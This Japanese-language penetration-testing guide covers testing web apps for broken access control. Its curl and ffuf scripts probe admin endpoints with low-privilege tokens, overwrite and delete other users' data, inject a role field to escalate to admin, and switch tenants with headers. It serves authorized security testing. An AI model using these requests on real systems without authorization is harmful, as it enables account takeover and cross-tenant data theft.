testing-for-broken-access-control

アクセス制御の不備をテストする

使用する場面

• OWASP A01:2021 - アクセス制御の不備に対する主な評価として、許可を得たペネトレーションテストを実施するとき
• すべてのアプリケーションエンドポイントで、ロールベースアクセス制御（RBAC）の実装を評価するとき
• ある組織のユーザーが別の組織のデータにアクセスできないようにすべきマルチテナントアプリケーションをテストするとき
• 認可チェックの欠落や不整合がないか、APIエンドポイントを評価するとき
• 権限昇格や不正アクセスが主な懸念事項となるセキュリティ監査を実施するとき

前提条件

• 認可：対象に対するペネトレーションテストの書面による合意
• Burp Suite Professional：自動アクセス制御テスト用のAuthorize拡張機能を含むこと
• 複数のテストアカウント：各ロールレベル（管理者、マネージャー、ユーザー、ゲスト）のアカウント
• アプリケーションのロールマトリックス：各ロールがアクセスすべき対象と、アクセスすべきでない対象のドキュメント
• curl/httpie：異なる認証コンテキストで手動エンドポイントテストを行うため
• ffuf：アクセス制御が欠落している可能性のある隠しエンドポイントを検出するため

ワークフロー

手順 1：すべてのエンドポイントをマッピングし、アクセス制御マトリックスを作成する

すべてのエンドポイントと、各ロールに想定されるアクセスレベルを記録します。

# Extract all endpoints from Burp Site Map
# Target > Site Map > Right-click > Copy URLs in this host

# Build a matrix of endpoints vs roles:
# | Endpoint              | Admin | Manager | User | Guest |
# |-----------------------|-------|---------|------|-------|
# | GET /admin/dashboard  | Allow | Deny    | Deny | Deny  |
# | GET /api/users        | Allow | Allow   | Deny | Deny  |
# | PUT /api/users/{id}   | Allow | Deny    | Own  | Deny  |
# | DELETE /api/posts/{id} | Allow | Allow   | Own  | Deny  |

# Discover hidden endpoints
ffuf -u "https://target.example.com/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302,403 -fc 404 \
  -H "Authorization: Bearer $USER_TOKEN" \
  -o endpoints.json -of json

# API endpoint discovery
ffuf -u "https://target.example.com/api/v1/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,401,403,405 -fc 404 \
  -H "Authorization: Bearer $USER_TOKEN"

手順 2：自動アクセス制御テストを設定する

ロールごとの並列テスト用にBurp Authorize拡張機能を設定します。

# Install Authorize extension:
# Burp > Extender > BApp Store > Search "Authorize" > Install

# Configuration for three-tier testing:
# 1. Browse the application as Admin (capture all requests)
# 2. In Authorize tab:
#    a. Add Regular User's session token in "Replace cookies/headers"
#    b. Optionally add a second row for Unauthenticated (no auth header)

# Example header replacement setup:
# Row 1 (Low-privilege user):
#   Cookie: session=low_priv_user_session
#   Authorization: Bearer low_priv_token
#
# Row 2 (Unauthenticated):
#   [Empty - removes all auth headers]

# Enable interception in Authorize:
# - Check "Intercept requests from Proxy"
# - Check "Intercept requests from Repeater"

# Authorize shows results as:
# Green  = Properly restricted (different response for different user)
# Red    = POTENTIALLY VULNERABLE (same response regardless of role)
# Orange = Uncertain (needs manual verification)

手順 3：垂直方向の権限昇格をテストする

権限の低いアカウントで、より高い権限を必要とする機能へのアクセスを試みます。

# Collect tokens for each role
ADMIN_TOKEN="Bearer admin_jwt_here"
MANAGER_TOKEN="Bearer manager_jwt_here"
USER_TOKEN="Bearer user_jwt_here"

# Test admin endpoints with user token
ADMIN_ENDPOINTS=(
  "GET /admin/dashboard"
  "GET /admin/users"
  "POST /admin/users/create"
  "PUT /admin/settings"
  "DELETE /admin/users/5"
  "GET /admin/logs"
  "GET /admin/reports/export"
  "POST /admin/backup"
)

for entry in "${ADMIN_ENDPOINTS[@]}"; do
  method=$(echo "$entry" | cut -d' ' -f1)
  endpoint=$(echo "$entry" | cut -d' ' -f2)
  echo -n "$method $endpoint (as user): "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" \
    -H "Authorization: $USER_TOKEN" \
    -H "Content-Type: application/json" \
    "https://target.example.com$endpoint")
  if [ "$status" == "200" ] || [ "$status" == "201" ]; then
    echo "VULNERABLE ($status)"
  else
    echo "OK ($status)"
  fi
done

# Test with method override headers
curl -s -o /dev/null -w "%{http_code}" \
  -X POST \
  -H "Authorization: $USER_TOKEN" \
  -H "X-HTTP-Method-Override: DELETE" \
  "https://target.example.com/admin/users/5"

# Test with different HTTP methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo -n "$method /admin/users: "
  curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" \
    -H "Authorization: $USER_TOKEN" \
    "https://target.example.com/admin/users"
  echo
done

手順 4：水平方向の権限昇格をテストする

ユーザーが同じ権限レベルにある別のユーザーのリソースにアクセスできないことを確認します。

# User A (ID: 101) testing access to User B's (ID: 102) resources
USER_A_TOKEN="Bearer user_a_jwt"

RESOURCES=(
  "/api/users/102/profile"
  "/api/users/102/orders"
  "/api/users/102/messages"
  "/api/users/102/documents"
  "/api/users/102/settings"
  "/api/users/102/payment-methods"
)

for resource in "${RESOURCES[@]}"; do
  echo -n "GET $resource: "
  response=$(curl -s -w "\n%{http_code}" \
    -H "Authorization: $USER_A_TOKEN" \
    "https://target.example.com$resource")
  status=$(echo "$response" | tail -1)
  body_len=$(echo "$response" | head -n -1 | wc -c)
  if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; then
    echo "VULNERABLE ($status, $body_len bytes)"
  else
    echo "OK ($status)"
  fi
done

# Test write operations across users
curl -s -X PUT \
  -H "Authorization: $USER_A_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"Hacked","email":"[email protected]"}' \
  "https://target.example.com/api/users/102/profile" -w "%{http_code}"

# Test delete operations
curl -s -X DELETE \
  -H "Authorization: $USER_A_TOKEN" \
  "https://target.example.com/api/users/102/documents/1" -w "%{http_code}"

手順 5：機能レベルのアクセス制御をテストする

特定の機能で認可が適切に強制されていることを確認します。

# Test unauthenticated access to protected endpoints
PROTECTED_ENDPOINTS=(
  "/api/user/profile"
  "/api/transactions"
  "/api/settings"
  "/admin/dashboard"
  "/api/export/users"
)

for endpoint in "${PROTECTED_ENDPOINTS[@]}"; do
  echo -n "No auth: GET $endpoint: "
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com$endpoint"
  echo
done

# Test with expired/invalid tokens
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer invalid_token_here" \
  "https://target.example.com/api/user/profile"

# Test role manipulation in JWT claims
# If JWT contains role claim, try modifying it
# (requires JWT vulnerability - see JWT testing skill)

# Test parameter-based role escalation
curl -s -X PUT \
  -H "Authorization: $USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \
  "https://target.example.com/api/users/101/profile"

# Test registration with elevated role
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Test123!","role":"admin"}' \
  "https://target.example.com/api/auth/register"

手順 6：マルチテナントの分離をテストする

マルチテナントアプリケーションで、テナント境界が強制されていることを確認します。

# User in Tenant A testing access to Tenant B's resources
TENANT_A_TOKEN="Bearer tenant_a_user_jwt"

# Direct tenant resource access
curl -s -H "Authorization: $TENANT_A_TOKEN" \
  "https://target.example.com/api/organizations/tenant-b-id/users" | jq .

curl -s -H "Authorization: $TENANT_A_TOKEN" \
  "https://target.example.com/api/organizations/tenant-b-id/settings" | jq .

# Test tenant switching via header
curl -s -H "Authorization: $TENANT_A_TOKEN" \
  -H "X-Tenant-ID: tenant-b-id" \
  "https://target.example.com/api/users" | jq .

# Test tenant ID in request body
curl -s -X POST \
  -H "Authorization: $TENANT_A_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \
  "https://target.example.com/api/reports/custom"

# Enumerate tenant IDs
ffuf -u "https://target.example.com/api/organizations/FUZZ" \
  -w <(seq 1 100) \
  -H "Authorization: $TENANT_A_TOKEN" \
  -mc 200 -t 10 -rate 20

主な概念

概念	説明
垂直方向の権限昇格	権限の低いユーザーが、より高い権限を必要とする機能にアクセスすること（ユーザー -> 管理者）
水平方向の権限昇格	ユーザーが同じ権限レベルにある別のユーザーのリソースにアクセスすること
機能レベルのアクセス制御	URLに関係なく、特定の機能に対して行う認可チェック
RBAC	ロールベースアクセス制御 - ロールに権限を割り当て、ユーザーにロールを割り当てる仕組み
ABAC	属性ベースアクセス制御 - ユーザー、リソース、環境の属性に基づく権限管理
マルチテナントの分離	異なる組織やテナント間でデータと機能が分離されていることを保証すること
安全でない直接オブジェクト参照	認可チェックなしに識別子を操作してオブジェクトにアクセスすること
機能レベルチェックの欠落	エンドポイントは存在するものの、呼び出し元に実行権限があるかを確認しないこと

ツールとシステム

ツール	用途
Burp Suite Professional	リクエストの傍受とロールごとのテスト
Authorize (Burp Extension)	セッションをまたいだ自動アクセス制御テスト
AutoRepeater (Burp Extension)	異なる認証コンテキストでリクエストを自動的に再送信
Postman	ロール間で環境を切り替えてAPIをテスト
ffuf	アクセス制御が欠落している可能性のある隠しエンドポイントの検出
OWASP ZAP	コンテキストを認識したスキャンによるアクセス制御テスト

よくあるシナリオ

シナリオ 1：認証チェックのない管理パネル

/admin/dashboardエンドポイントに通常ユーザーのセッショントークンでアクセスすると、管理パネルが返されます。フロントエンドでは管理メニューが非表示になっていますが、バックエンドではロールチェックが強制されていません。

シナリオ 2：認可のないAPIエンドポイント

DELETE /api/users/{id}エンドポイントでは認証（有効なトークン）はチェックされますが、認可（管理者ロール）はチェックされません。認証済みのユーザーなら誰でも、他のユーザーのアカウントを削除できます。

シナリオ 3：テナントデータの漏えい

SaaS アプリケーションでは、API リクエストヘッダーで tenant_id を使用しています。X-Tenant-ID ヘッダーを別のテナントの ID に変更すると、そのテナントのデータが返され、テナント間の分離を回避できます。

シナリオ 4：マスアサインメントによるロール昇格

PUT /api/users/{id} のユーザープロフィール更新エンドポイントは、JSON 本文の role フィールドを受け入れます。プロフィール更新とともに "role":"admin" を送信すると、ユーザーの権限が管理者に昇格します。

出力形式

## Broken Access Control Assessment Report

**Target**: target.example.com
**Assessment Date**: 2024-01-15
**OWASP Category**: A01:2021 - Broken Access Control

### Access Control Matrix Results
| Endpoint | Admin | Manager | User | Guest | Expected | Actual |
|----------|-------|---------|------|-------|----------|--------|
| GET /admin/dashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |
| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |
| GET /api/users/other/profile | 200 | 200 | 200 | 401 | Own only | FAIL |
| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | Own only | FAIL |
| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |

### Critical Findings
1. **Vertical Escalation**: Regular users can access /admin/* endpoints
2. **Horizontal IDOR**: Users can read/modify other users' profiles
3. **Tenant Isolation**: Cross-tenant data access via header manipulation
4. **Mass Assignment**: Role escalation via profile update endpoint

### Impact
- Complete administrative access for any authenticated user
- Full user data access across all accounts (15,000+ users)
- Cross-tenant data breach affecting 200+ organizations
- Account takeover via profile modification

### Recommendation
1. Implement server-side authorization checks on every endpoint
2. Use a centralized authorization middleware/framework
3. Enforce object-level authorization (verify ownership before access)
4. Validate tenant context server-side, never from client headers
5. Use allowlists for mass assignment (only permit expected fields)
6. Implement audit logging for all access control decisions